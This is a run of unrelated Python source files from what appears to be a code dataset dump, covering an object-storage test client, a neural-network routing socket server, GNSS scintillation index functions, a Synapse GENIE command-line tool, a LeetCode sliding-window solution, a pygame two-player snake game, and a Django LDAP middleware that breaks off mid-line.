return self.delete_container(container_name)\n\n def force_delete_containers(self, container_list):\n for container_name in container_list:\n return self._purge_container(container_name)\n\n #Storage Object------------------------------------------------------------\n\n def get_object(self, container_name, object_name, headers={}, params={},\n stream=False):\n \"\"\"\n optional headers\n\n If-Match\n If-None-Match\n If-Modified-Since\n If-Unmodified-Since\n Range\n\n If-Match and If-None-Match check the ETag header\n 200 on 'If' header success\n If none of the entity tags match, or if \"*\" is given and no current\n entity exists, the server MUST NOT perform the requested method, and\n MUST return a 412 (Precondition Failed) response.\n\n 206 (Partial content) for successful range request\n If the entity tag does not match, then the server SHOULD\n return the entire entity using a 200 (OK) response\n see RFC2616\n\n If prefetch=False, body download is delayed until response.content is\n accessed either directly, via response.iter_content() or .iter_lines()\n \"\"\"\n url = '{0}/{1}/{2}'.format(\n self.storage_url,\n container_name,\n object_name)\n\n response = self.get(\n url,\n headers=headers,\n params=params,\n requestslib_kwargs={'stream': stream})\n\n return response\n\n def create_object(self, container_name, object_name, data=None, headers={},\n params={}):\n \"\"\"\n Creates a storage object in a container via PUT\n Optionally adds 'X-Object-Metadata-' prefix to any key in the\n metadata dictionary, and then adds that metadata to the headers\n dictionary.\n \"\"\"\n url = '{0}/{1}/{2}'.format(\n self.storage_url,\n container_name,\n object_name)\n\n response = self.put(url, data=data, headers=headers, params=params)\n\n return response\n\n def copy_object(self, container_name, object_name, headers={}):\n url = '{0}/{1}/{2}'.format(\n self.storage_url,\n container_name,\n object_name)\n\n if 'X-Copy-From' in headers:\n method = 'PUT'\n if 'Content-Length' not in headers:\n headers['Content-Length'] = '0'\n elif 'Destination' in headers:\n method = 'COPY'\n else:\n return None\n\n response = self.request(method=method, url=url, headers=headers)\n\n return response\n\n def delete_object(self, container_name, object_name, headers={}):\n url = '{0}/{1}/{2}'.format(\n self.storage_url,\n container_name,\n object_name)\n\n response = self.delete(url, headers=headers)\n\n return response\n\n def get_object_metadata(self, container_name, object_name, headers={}):\n url = '{0}/{1}/{2}'.format(\n self.storage_url,\n container_name,\n object_name)\n\n response = self.head(url, headers=headers)\n\n return response\n\n def set_object_metadata(self, container_name, object_name, headers={}):\n url = '{0}/{1}/{2}'.format(\n self.storage_url,\n container_name,\n object_name)\n\n response = self.post(url, headers=headers)\n\n return response\n\n def set_temp_url_key(self, headers={}):\n response = self.post(self.storage_url, headers=headers)\n\n return response\n\n def create_temp_url(self, method, container, obj, seconds, key):\n method = method.upper()\n base_url = '{0}/{1}/{2}'.format(self.storage_url, container, obj)\n account_hash = self.storage_url.split('/v1/')[1]\n object_path = '/v1/{0}/{1}/{2}'.format(account_hash, container, obj)\n seconds = int(seconds)\n expires = int(time() + seconds)\n hmac_body = '{0}\\n{1}\\n{2}'.format(method, expires, object_path)\n sig = hmac.new(key, hmac_body, sha1).hexdigest()\n\n return {'target_url': base_url, 'signature': sig, 'expires': expires}\n\n def create_archive(self, object_names, compression_type,\n archive_name=BULK_ARCHIVE_NAME):\n \"\"\"\n Bulk creates objects in the opencafe's temp directory specified in the\n engine config. Each object's data will be the md5sum of the object's\n name.\n\n @type object_names: strings\n @param object_names: a list of object names\n\n @type object_names: string\n @param object_names: file compression to apply to the archive\n\n @rtype: string\n @return: Returns full path of the archive that was created in\n opencafe's temp directory specified in the engine config\n \"\"\"\n supported = [None, \"gz\", \"bz2\"]\n if compression_type not in supported:\n raise NameError(\"supported compression: {0}\".format(supported))\n\n ext = ''\n\n if not compression_type:\n ext = 'tar'\n compression_type = ''\n else:\n ext = 'tar.{0}'.format(compression_type)\n\n archive_name = '{0}.{1}.{2}'.format(\n archive_name,\n randstring.get_random_string(),\n ext)\n\n archive_dir = self.engine_config.temp_directory\n archive_filename = '{0}/{1}'.format(archive_dir, archive_name)\n archive = tarfile.open(\n archive_filename,\n 'w:{0}'.format(compression_type))\n\n for object_name in object_names:\n object_data = get_md5_hash(object_name)\n object_size = len(object_data)\n object_time = int(mktime(datetime.now().timetuple()))\n\n object_buffer = StringIO(object_data)\n object_buffer.seek(0)\n\n object_info = tarfile.TarInfo(name=object_name)\n object_info.size = object_size\n object_info.mtime = object_time\n\n archive.addfile(tarinfo=object_info, fileobj=object_buffer)\n archive.close()\n\n archive_path = \"{0}/{1}\".format(\n self.engine_config.temp_directory,\n archive_name)\n\n return archive_path\n","sub_path":"cloudcafe/objectstorage/objectstorage_api/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":10834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"199731062","text":"import json\nfrom json import JSONDecodeError\nimport socketserver\n\nfrom networkx.exception import NetworkXUnfeasible\nfrom utils.log_utils import debug, info, err\nfrom sockets.server import Server, recvall2\nfrom common.graph import NetworkTopo\nfrom utils.file_utils import load_pkl, load_json\nfrom routing.nn3.models import *\nfrom utils.time_utils import now_in_milli\nfrom utils.log_utils import debug\nfrom typing import List, Tuple, Dict\nfrom routing.nn3.contants import *\nfrom path_utils import get_prj_root\nimport os\n\n# loading ksps\n\n# cache_dir = os.path.join(get_prj_root(), \"cache\")\n# static_dir = os.path.join(get_prj_root(), \"static\")\n# ksp_obj = load_json(os.path.join(static_dir, \"ksp.json\"))[\"aksp\"]\n#\n# ksps = {}\n# for i in range(100):\n# \tfor j in range(100):\n# \t\tif i == j:\n# \t\t\tcontinue\n# \t\tksps[(i, j)] = ksp_obj[i][j]\n\n\nfrom threading import Thread\nimport socket\n\n\nclass Predictor:\n\tdef __init__(self):\n\n\t\tpass\n\n\tdef _fetch_single_routing(self, model_id, traffic: List[float], res: List[int]):\n\t\tsock_fn = os.path.join(\"/tmp/{}.sock\".format(model_id))\n\t\tclient = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n\t\ttry:\n\t\t\tclient.connect(sock_fn)\n\t\texcept socket.error as msg:\n\t\t\terr(msg)\n\t\t\texit(-1)\n\t\treq = {\n\t\t\t\"volumes\": traffic\n\t\t}\n\t\tclient.sendall(bytes(json.dumps(req) + \"*\", \"ascii\"))\n\t\ttry:\n\t\t\tresp = recvall2(client)\n\t\tfinally:\n\t\t\tclient.close()\n\t\tresp = json.loads(resp)\n\t\tactions = resp[\"res\"]\n\t\tn_action = len(modelid_to_targets[model_id])\n\t\tactions = actions[:n_action]\n\t\tfor idx, target in enumerate(modelid_to_targets[model_id]):\n\t\t\taction = actions[idx]\n\t\t\tflattened_idx = flattenidxes[(model_id, target)]\n\t\t\tres[flattened_idx] = action\n\n\tdef __call__(self, inpt: RoutingInput):\n\t\ttraffic = inpt.traffic\n\t\tres = [0 for _ in range(100 * 99)]\n\t\tthreads = []\n\t\tfor model_id in modelid_to_targets.keys():\n\t\t\tt = Thread(target=self._fetch_single_routing, args=(model_id, traffic, res))\n\t\t\tt.start()\n\t\t\tthreads.append(t)\n\t\tfor t in threads:\n\t\t\tt.join()\n\t\tout = RoutingOutput(labels=res)\n\t\treturn out\n\n\npredictor = Predictor()\nimport numpy as np\n\n\nclass RandomPredictor:\n\tdef __init__(self):\n\t\tnp.random.seed()\n\n\tdef __call__(self, inpt: RoutingInput) -> RoutingOutput:\n\t\tres = [0 for _ in range(100 * 99)]\n\t\tfor model_id in modelid_to_targets.keys():\n\t\t\tfor target in modelid_to_targets[model_id]:\n\t\t\t\tres[flattenidxes[(model_id, target)]] = np.random.choice(list(range(5)))\n\t\treturn RoutingOutput(labels=res)\n\n\nrandom_predictor = RandomPredictor()\n\n\nclass NN3Server(socketserver.BaseRequestHandler):\n\tdef handle(self) -> None:\n\t\treq_content = recvall2(self.request)\n\t\tobj: Dict = {}\n\t\ttry:\n\t\t\tobj = json.loads(req_content)\n\t\texcept JSONDecodeError as e:\n\t\t\terr(obj)\n\n\t\tdebug(\"traffic stats collected {}\".format(len(obj[\"matrix\"][\"0\"])))\n\t\tinpt = RoutingInput(traffic=obj[\"matrix\"][\"0\"])\n\t\tif len(obj[\"matrix\"][\"0\"]) != 100 * 99:\n\t\t\terr(\"invalid traffic matrix of len {}\".format(len(obj[\"matrix\"][\"0\"])))\n\t\t\tpaths = []\n\t\t\tfor i in range(100):\n\t\t\t\tfor j in range(100):\n\t\t\t\t\tif i == j: continue\n\t\t\t\t\tpaths.append(ksps[(i, j)][0])\n\n\t\t\tres = {\"res1\": paths}\n\t\t\tself.request.sendall(bytes(json.dumps(res) + \"*\", \"ascii\"))\n\t\t\treturn\n\n\t\trouting:RoutingOutput=predictor(inpt)\n\t\t# routing: RoutingOutput = random_predictor(inpt)\n\t\tdebug(len(routing.labels))\n\t\tpaths = []\n\t\tfor i in range(100):\n\t\t\tfor j in range(100):\n\t\t\t\tif i == j: continue\n\t\t\t\tpaths.append(ksps[(i, j)][routing.labels[flattenidxes[(i, j)]]])\n\n\t\tres = {\"res1\": paths}\n\t\tself.request.sendall(bytes(json.dumps(res) + \"*\", \"ascii\"))\n\n\nif __name__ == '__main__':\n\t# labels_dir=\"/tmp/labels\"\n\t# from routing.eval.evaluator3 import RoutingEvaluator3\n\t# from routing.nn3.contants import topo\n\t# evaluator=RoutingEvaluator3(topo)\n\t#\n\t# fns = []\n\t# for fn in os.listdir(labels_dir):\n\t# \tif \"partition\" not in fn: continue\n\t# \tfns.append(os.path.join(labels_dir, fn))\n\t# debug(\"number of fns {}\".format(len(fns)))\n\t# fns.sort()\n\t# ilproutings:List[Routing]=[]\n\t# validate_fns=fns[int(len(fns)*0.9):]\n\t# debug(\"validate fns {}\".format(len(validate_fns)))\n\t# for fn in validate_fns:\n\t# \tilproutings.extend(load_pkl(fn))\n\t# import random\n\t# random.shuffle(ilproutings)\n\t# ilproutings=ilproutings[:500]\n\t#\n\t# debug(\"validate instances {}\".format(len(ilproutings)))\n\t# ilp_ratios:List[float]=[]\n\t# nn_ratios:List[float]=[]\n\t# ospf_ratios:List[float]=[]\n\t# ratios_dir=\"/tmp/ratios\"\n\t# # for idx,routing in enumerate(ilproutings):\n\t# # \tilp_ratios.append(evaluator(routing))\n\t# # \tdebug(\"ilp routing evaluate done {}\".format(idx))\n\t# #\n\t# # debug(\"ilp ratios calculate done\")\n\t# ilp_ratio_fn=os.path.join(ratios_dir,\"ilp_ratios.pkl\")\n\t# # save_pkl(ilp_ratio_fn,ilp_ratios)\n\t#\n\t# # for idx,routing in enumerate(ilproutings):\n\t# # \tinpt=RoutingInput(traffic=routing.traffic)\n\t# # \tout=predictor(inpt)\n\t# # \tinstance=Routing(inpt.traffic,out.labels)\n\t# # \tnn_ratios.append(evaluator(instance))\n\t# # \tdebug(\"nn routing {} evaluate done\".format(idx))\n\t# nn_ratio_fn=os.path.join(ratios_dir,\"nn_ratios.pkl\")\n\t# # save_pkl(nn_ratio_fn,nn_ratios)\n\t#\n\t# action=[0 for _ in range(100*99)]\n\t# # for idx,routing in enumerate(ilproutings):\n\t# # \tospf_ratios.append(evaluator(Routing(traffic=routing.traffic,labels=action)))\n\t# # \tdebug(\"ospf evaluate done {}\".format(idx))\n\t# ospf_ratio_fn=os.path.join(ratios_dir,\"ospf_ratios.pkl\")\n\t# # save_pkl(ospf_ratio_fn,ospf_ratios)\n\t# import matplotlib\n\t# matplotlib.use(\"TkAgg\")\n\t# import matplotlib.pyplot as plt\n\t# ilpratios=load_pkl(ilp_ratio_fn)\n\t# nnratios=load_pkl(nn_ratio_fn)\n\t# ospfratios=load_pkl(ospf_ratio_fn)\n\t# ilp_plt,=plt.plot(ilpratios,label=\"ilp\")\n\t# nn_plt,= plt.plot(nnratios,label=\"nn\")\n\t# ospf_plt,=plt.plot(ospfratios,label=\"ospf\")\n\t# plt.legend(handles=[ilp_plt,nn_plt,ospf_plt])\n\t# plt.show()\n\n\t# inpt=RoutingInput(traffic=[0 for _ in range(100*99)])\n\t# out=predictor(inpt)\n\t# debug(len(out.labels))\n\tport = 1055\n\tserver = Server(port, NN3Server)\n\tdebug(\"nn routing server started\")\n\tserver.start()\n","sub_path":"routing/nn3/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"557507477","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 6 14:18:35 2018\n\n@author: smrak\n\"\"\"\n\nimport numpy as np\n\ndef getROTI(tec, length):\n \"\"\"\n Sebastijan Mrak\n getROTI returns the rate of TEC Index calculated as the standard deviation \n of the provided TEC on the moving window of the length 'length'. It returns \n the ROTI as a numpy array data type.\n \"\"\"\n rot = np.hstack((np.nan, np.diff(tec)))\n roti = sigmaTEC(rot, length)\n return roti\n \n\ndef phaseScintillationIndex(data, N):\n \"\"\"\n Sebastijan Mrak\n GNSS Phase scintillation index for the interval of the length 'N' samples\n \"\"\"\n y = np.nan * np.zeros(data.shape[0]-N)\n for i in range(data.shape[0] - N):\n if np.sum(np.isfinite(data[i:i+N])) > 5:\n y[i] = np.nanstd(data[i:i+N])\n return y\n \ndef AmplitudeScintillationIndex(x, N):\n \"\"\"\n Sebastijan Mrak\n GNSS Amplitude scintillation index for the interval of the length 'N' samples\n \"\"\"\n idx = np.isnan(x)\n n2 = int(N/2)\n iterate = np.arange(n2, x.size-n2)\n y = np.nan * np.copy(x)\n for i in iterate:\n if np.sum(np.isfinite(x[i-n2:i+n2])) > N/4:\n y[i] = np.sqrt(np.nanvar(x[i-n2:i+n2])) / np.nanmean(x[i-n2:i+n2])\n y[idx] = np.nan\n return y\n\ndef sigmaTEC(x, N):\n idx = np.isnan(x)\n n2 = int(N/2)\n iterate = np.arange(n2, x.size-n2)\n y = np.nan * np.copy(x)\n for i in iterate:\n if np.sum(np.isfinite(x[i-n2:i+n2])) > N/4:\n y[i] = np.nanstd(x[i-n2:i+n2])\n y[idx] = np.nan\n return y\n\ndef s4(x, N):\n idx = np.isnan(x)\n n2 = int(N/2)\n iterate = np.arange(n2, x.size-n2)\n y = np.nan * np.copy(x)\n for i in iterate:\n chunk = x[i-n2:i+n2]\n if np.sum(np.isfinite(chunk)) > N/4:\n y[i] = np.nanstd(chunk) / np.nanmean(chunk)\n y[idx] = np.nan\n return y","sub_path":"pyGnss/scintillation.py","file_name":"scintillation.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"470151742","text":"#!/usr/bin/env python3\n# noqa pylint: disable=line-too-long\n\"\"\"genie cli\"\"\"\nimport argparse\nimport logging\n\nimport synapseclient\n\nfrom synapsegenie import (bootstrap, config, input_to_database,\n process_functions, validate, write_invalid_reasons)\n\nfrom .__version__ import __version__\n\n\nlogger = logging.getLogger('genie')\n\n\ndef synapse_login(username=None, password=None):\n \"\"\"\n This function logs into synapse for you if credentials are saved.\n If not saved, then user is prompted username and password.\n\n :returns: Synapseclient object\n \"\"\"\n try:\n syn = synapseclient.login(silent=True)\n except Exception:\n if username is None and password is None:\n raise ValueError(\"Please specify --syn_user, --syn_pass to specify your Synapse \"\n \"login. Please view https://docs.synapse.org/articles/client_configuration.html\"\n \"to learn about logging into Synapse via the Python client.\")\n syn = synapseclient.login(email=username,\n password=password,\n silent=True)\n return syn\n\n\ndef bootstrap_infra(syn, args):\n \"\"\"Create GENIE-like infrastructure\"\"\"\n bootstrap.main(syn)\n\n\ndef process_cli_wrapper(syn, args):\n \"\"\"Process CLI wrapper\"\"\"\n process(syn, args.process, args.project_id, center=args.center,\n pemfile=args.pemfile, delete_old=args.delete_old,\n only_validate=args.only_validate, debug=args.debug,\n format_registry_packages=args.format_registry_packages)\n\n\ndef process(syn, process, project_id, center=None, pemfile=None,\n delete_old=False, only_validate=False, debug=False,\n format_registry_packages=None):\n \"\"\"Process files\"\"\"\n # Get the Synapse Project where data is stored\n # Should have annotations to find the table lookup\n project = syn.get(project_id)\n database_to_synid_mapping_synid = project.annotations.get(\"dbMapping\", \"\")\n\n databaseToSynIdMapping = syn.tableQuery(\n 'SELECT * FROM {}'.format(database_to_synid_mapping_synid[0]))\n databaseToSynIdMappingDf = databaseToSynIdMapping.asDataFrame()\n\n center_mapping_id = process_functions.getDatabaseSynId(\n syn, \"centerMapping\",\n databaseToSynIdMappingDf=databaseToSynIdMappingDf\n )\n\n center_mapping = syn.tableQuery(f'SELECT * FROM {center_mapping_id}')\n center_mapping_df = center_mapping.asDataFrame()\n\n if center is not None:\n assert center in center_mapping_df.center.tolist(), (\n \"Must specify one of these centers: {}\".format(\n \", \".join(center_mapping_df.center)))\n centers = [center]\n else:\n center_mapping_df = center_mapping_df[\n ~center_mapping_df['inputSynId'].isnull()\n ]\n # release is a bool column\n center_mapping_df = center_mapping_df[center_mapping_df['release']]\n centers = center_mapping_df.center\n\n format_registry = config.collect_format_types(format_registry_packages)\n\n for process_center in centers:\n input_to_database.center_input_to_database(\n syn, project_id, process_center, process,\n only_validate, databaseToSynIdMappingDf,\n center_mapping_df,\n delete_old=delete_old,\n format_registry=format_registry\n )\n\n error_tracker_synid = process_functions.getDatabaseSynId(\n syn, \"errorTracker\", databaseToSynIdMappingDf=databaseToSynIdMappingDf\n )\n # Only write out invalid reasons if the center\n # isnt specified and if only validate\n if center is None and only_validate:\n logger.info(\"WRITING INVALID REASONS TO CENTER STAGING DIRS\")\n write_invalid_reasons.write_invalid_reasons(\n syn, center_mapping_df, error_tracker_synid\n )\n\ndef build_parser():\n \"\"\"Build CLI parsers\"\"\"\n parser = argparse.ArgumentParser(description='GENIE processing')\n\n parser.add_argument(\"--syn_user\", type=str, help='Synapse username')\n\n parser.add_argument(\"--syn_pass\", type=str, help='Synapse password')\n\n parser.add_argument('-v', '--version', action='version',\n version='genie {}'.format(__version__))\n\n subparsers = parser.add_subparsers(title='commands',\n description='The following commands are available:',\n help='For additional help: \"genie -h\"')\n\n parser_validate = subparsers.add_parser('validate', help='Validates GENIE file formats')\n\n parser_validate.add_argument(\"filepath\", type=str, nargs=\"+\",\n help='File(s) that you are validating.'\n 'If you validation your clinical files and you have both sample and '\n 'patient files, you must provide both')\n\n parser_validate.add_argument(\"center\", type=str, help='Contributing Centers')\n\n parser_validate.add_argument(\"--format_registry_packages\", type=str, nargs=\"+\",\n default=[\"genie\"],\n help=\"Python package name(s) to get valid file formats from (default: %(default)s).\")\n\n parser_validate.add_argument(\"--oncotree_link\", type=str, help=\"Link to oncotree code\")\n\n validate_group = parser_validate.add_mutually_exclusive_group()\n\n validate_group.add_argument(\"--filetype\", type=str,\n help='By default, the validator uses the filename to match '\n 'the file format. If your filename is incorrectly named, '\n 'it will be invalid. If you know the file format you are '\n 'validating, you can ignore the filename validation and skip '\n 'to file content validation. '\n 'Note, the filetypes with SP at '\n 'the end are for special sponsored projects.')\n\n validate_group.add_argument(\"--parentid\", type=str, default=None,\n help='Synapse id of center input folder. '\n 'If specified, your valid files will be uploaded '\n 'to this directory.')\n\n # TODO: remove this default when private genie project is ready\n parser_validate.add_argument(\"--project_id\", type=str,\n default=\"syn3380222\",\n help='Synapse Project ID where data is stored.')\n\n parser_validate.add_argument(\"--nosymbol-check\", action='store_true',\n help='Do not check hugo symbols of fusion and cna file')\n\n parser_validate.set_defaults(func=validate._perform_validate)\n\n parser_bootstrap = subparsers.add_parser('bootstrap-infra',\n help='Create GENIE-like infra')\n parser_bootstrap.add_argument(\n \"--format_registry_packages\", type=str, nargs=\"+\",\n default=[\"example_registry\"],\n help=\"Python package name(s) to get valid file formats from \"\n \"(default: %(default)s).\"\n )\n\n parser_bootstrap.set_defaults(func=bootstrap_infra)\n\n parser_process = subparsers.add_parser(\n 'process', help='Process files'\n )\n parser_process.add_argument(\n \"process\", choices=['main']\n )\n parser_process.add_argument(\n \"--project_id\",\n help=\"Synapse Project ID where data is stored.\",\n required=True\n )\n parser_process.add_argument(\n '--center', help='The centers'\n )\n parser_process.add_argument(\n \"--pemfile\", type=str,\n help=\"Path to PEM file (genie.pem)\"\n )\n parser_process.add_argument(\n \"--delete_old\", action='store_true',\n help=\"Delete all old processed and temp files\"\n )\n parser_process.add_argument(\n \"--only_validate\", action='store_true',\n help=\"Only validate the files, don't process\"\n )\n parser_process.add_argument(\n \"--debug\", action='store_true',\n help=\"Add debug mode to synapse\"\n )\n # DEFAULT PARAMS\n parser_process.add_argument(\n \"--format_registry_packages\", type=str, nargs=\"+\",\n default=[\"example_registry\"],\n help=\"Python package name(s) to get valid file formats from \"\n \"(default: %(default)s).\"\n )\n parser_process.set_defaults(func=process_cli_wrapper)\n\n return parser\n\n\ndef main():\n \"\"\"Invoke\"\"\"\n args = build_parser().parse_args()\n syn = synapse_login(args.syn_user, args.syn_pass)\n # func has to match the set_defaults\n args.func(syn, args)\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"synapsegenie/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":8790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"525172750","text":"\"\"\"\nhttps://leetcode.com/problems/sliding-window-maximum/\n\nGiven an array nums,\nthere is a sliding window of size k\nwhich is moving from the very left of the array to the very right.\nYou can only see the k numbers in the window.\nEach time the sliding window moves right by one position.\n\nReturn the max sliding window.\n\nExample:\n\nInput: nums = [1,3,-1,-3,5,3,6,7], and k = 3\nOutput: [3,3,5,5,6,7]\nExplanation:\n\nWindow position Max\n--------------- -----\n[1 3 -1] -3 5 3 6 7 3\n 1 [3 -1 -3] 5 3 6 7 3\n 1 3 [-1 -3 5] 3 6 7 5\n 1 3 -1 [-3 5 3] 6 7 5\n 1 3 -1 -3 [5 3 6] 7 6\n 1 3 -1 -3 5 [3 6 7] 7\nNote:\nYou may assume k is always valid, 1 ≤ k ≤ input array's size for non-empty array.\n\"\"\"\n\n\nclass Solution(object):\n def maxSlidingWindow(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: List[int]\n \"\"\"\n nums_len = len(nums)\n ans = []\n if nums_len == 0 or k == 0:\n return []\n\n for i in range(nums_len - k + 1):\n ans.append(max(nums[i:i + k]))\n\n return ans\n\n\ns = Solution()\nprint(s.maxSlidingWindow([1, 3, -1, -3, 5, 3, 6, 7], 3))\n\n\"\"\"\nRuntime: 712 ms, faster than 11.61% of Python online submissions for Sliding Window Maximum.\nMemory Usage: 18.8 MB, less than 62.07% of Python online submissions for Sliding Window Maximum.\n\"\"\"\n","sub_path":"0001/0239_Sliding_Window_Maximum.py","file_name":"0239_Sliding_Window_Maximum.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"264710756","text":"import pygame, random\n\n#Two player, versus each other\n\nnum_apple = 0\n\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\n\ngame_speed = 10\n\nsegment_size = 10\n\n# Set the width and height of each snake segment\nsegment_width = 15\nsegment_height = 15\n# Margin between each segment\nsegment_margin = 3\n\n# Set initial speed\nsnake1_x_change = segment_width + segment_margin\nsnake1_y_change = 0\nsnake2_x_change = segment_width + segment_margin\nsnake2_y_change = 0\n\nclass Segment(pygame.sprite.Sprite):\n\n def __init__(self, x, y, num):\n # Call the parent's constructor\n super().__init__()\n\n # Set height, width\n self.image = pygame.Surface([segment_width, segment_height])\n if num == 1:\n self.image.fill(WHITE)\n else:\n self.image.fill(GREEN)\n\n # Make our top-left corner the passed-in location.\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n\nclass Apple(pygame.sprite.Sprite):\n def __init__(self, x, y):\n super().__init__()\n\n self.image = pygame.Surface([segment_width, segment_height])\n\n self.image.fill(RED)\n\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n# Call this function so the Pygame library can initialize itself\npygame.init()\n\n# Create an 800x600 sized screen\nscreen = pygame.display.set_mode([800, 600])\n\n# Set the title of the window\npygame.display.set_caption('SnakeNite: Battle Royale')\n\nallspriteslist = pygame.sprite.Group()\n\n# Create an initial snake\nsnake1_segments = []\nsnake2_segments = []\nfor i in range(segment_size):\n snake1_x = 250 - (segment_width + segment_margin) * i\n snake1_y = 30\n snake2_x = 250 - (segment_width + segment_margin) * i\n snake2_y = 30\n segment1 = Segment(snake1_x, snake1_y, 1)\n segment2 = Segment(snake2_x, snake2_y + 72, 2)\n snake1_segments.append(segment1)\n snake2_segments.append(segment2)\n allspriteslist.add(segment1)\n allspriteslist.add(segment2)\n\nclock = pygame.time.Clock()\ndone = False\n\n#Return a random apple position\ndef get_apple():\n apple_y = random.randrange(0, 570, 18)\n apple_x = random.randrange(0, 800, 18)\n return apple_x - 2, apple_y + 30\n\ndef lose(snake):\n if snake == 1:\n loser = \"Player 1\"\n else: loser = \"Player 2\"\n print(\"You lost \" + loser + \"! Score: \" + str(segment_size))\n quit()\n\nwhile not done:\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n\n # Set the speed based on the key pressed\n # We want the speed to be enough that we move a full\n # segment, plus the margin.\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n snake1_x_change = (segment_width + segment_margin) * -1\n snake1_y_change = 0\n if event.key == pygame.K_RIGHT:\n snake1_x_change = (segment_width + segment_margin)\n snake1_y_change = 0\n if event.key == pygame.K_UP:\n snake1_x_change = 0\n snake1_y_change = (segment_height + segment_margin) * -1\n if event.key == pygame.K_DOWN:\n snake1_x_change = 0\n snake1_y_change = (segment_height + segment_margin)\n if event.key == pygame.K_a:\n snake2_x_change = (segment_width + segment_margin) * -1\n snake2_y_change = 0\n if event.key == pygame.K_d:\n snake2_x_change = (segment_width + segment_margin)\n snake2_y_change = 0\n if event.key == pygame.K_w:\n snake2_x_change = 0\n snake2_y_change = (segment_height + segment_margin) * -1\n if event.key == pygame.K_s:\n snake2_x_change = 0\n snake2_y_change = (segment_height + segment_margin)\n\n # Get rid of last segment of the snake\n # .pop() command removes last item in list\n snake1_old_segment = snake1_segments.pop()\n snake2_old_segment = snake2_segments.pop()\n allspriteslist.remove(snake1_old_segment)\n allspriteslist.remove(snake2_old_segment)\n\n # Figure out where new segment will be\n snake1_x = snake1_segments[0].rect.x + snake1_x_change\n snake1_y = snake1_segments[0].rect.y + snake1_y_change\n snake2_x = snake2_segments[0].rect.x + snake2_x_change\n snake2_y = snake2_segments[0].rect.y + snake2_y_change\n segment1 = Segment(snake1_x, snake1_y, 1)\n segment2 = Segment(snake2_x, snake2_y, 2)\n\n # Collision detection\n if snake1_x >= 818 or snake1_x <= -18:\n lose(1)\n if snake1_y >= 618 or snake1_y <= -18:\n lose(1)\n #Check run into self\n for i in range(len(snake1_segments)):\n if snake1_x == snake1_segments[i].rect.x and snake1_y == snake1_segments[i].rect.y:\n lose(1)\n\n if snake2_x >= 818 or snake2_x <= -18:\n lose(2)\n if snake2_y >= 618 or snake2_y <= -18:\n lose(2)\n # Check run into self\n for i in range(len(snake2_segments)):\n if snake2_x == snake2_segments[i].rect.x and snake2_y == snake2_segments[i].rect.y:\n lose(2)\n\n #Snake v Snake collision\n\n for e in range(len(snake2_segments)):\n if snake1_x == snake2_segments[e].rect.x and snake1_y == snake2_segments[e].rect.y:\n lose(1)\n\n for e in range(len(snake1_segments)):\n if snake2_x == snake1_segments[e].rect.x and snake2_y == snake1_segments[e].rect.y:\n lose(2)\n\n\n #render apple if one gets eaten\n if num_apple < 1:\n apple_x = get_apple()[0]\n apple_y = get_apple()[1]\n apple = Apple(apple_x, apple_y)\n num_apple += 1\n\n #check if apple gets eaten\n if apple_x == snake1_x and apple_y == snake1_y:\n allspriteslist.remove(apple)\n apple = Apple(1000, 1000)\n snake1_segments.insert(0, segment1)\n segment_size += 1\n num_apple -= 1\n\n if apple_x == snake2_x and apple_y == snake2_y:\n allspriteslist.remove(apple)\n apple = Apple(1000, 1000)\n snake2_segments.insert(0, segment2)\n segment_size += 1\n num_apple -= 1\n\n # Insert new segment into the list\n snake1_segments.insert(0, segment1)\n snake2_segments.insert(0, segment2)\n\n allspriteslist.add(segment1)\n allspriteslist.add(segment2)\n allspriteslist.add(apple)\n\n # -- Draw everything\n # Clear screen\n screen.fill(BLACK)\n\n allspriteslist.draw(screen)\n\n\n # Flip screen\n pygame.display.flip()\n\n # Pause\n clock.tick(game_speed)\n\npygame.quit()\n","sub_path":"Snake.py","file_name":"Snake.py","file_ext":"py","file_size_in_byte":6591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"205530167","text":"from django.core.exceptions import ImproperlyConfigured\nfrom django.db.models.signals import pre_save\nfrom django.dispatch import receiver\n\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.signals import user_logged_in\n\nimport larper\nfrom larper import UserSession\n\n\ndef handle_login(sender, **kwargs):\n request = kwargs['request']\n larper.store_password(request, request.POST.get('password', ''))\n\nuser_logged_in.connect(handle_login)\n\n\n@receiver(pre_save, sender=User)\ndef handle_pre_save(sender, instance, **kwargs):\n instance.email = instance.username\n\n\nclass LarperMiddleware(object):\n \"\"\"\n Responsible for populating the request.user object\n with the following attributes:\n * unique_id\n\n This complements the dn and password management from larper.dn and\n larper.password\n \"\"\"\n def process_request(self, request):\n if not hasattr(request, 'user'):\n msg = ('django.contrib.auth.middleware.AuthenticationMiddleware '\n 'is missing from your settings.py')\n raise ImproperlyConfigured(msg)\n\n if not hasattr(request, 'session'):\n msg = ('django.contrib.sessions.middleware.SessionMiddleware '\n 'is missing from your settings.py')\n raise ImproperlyConfigured(msg)\n\n if (request.user.is_authenticated() and\n hasattr(request.user, 'ldap_user')):\n _populate(request)\n\n def process_response(self, request, response):\n UserSession.disconnect(request)\n return response\n\n\ndef _populate(request):\n user = request.user\n session = request.session\n\n if 'unique_id' in session:\n user.unique_id = session['unique_id']\n else:\n unique_id = 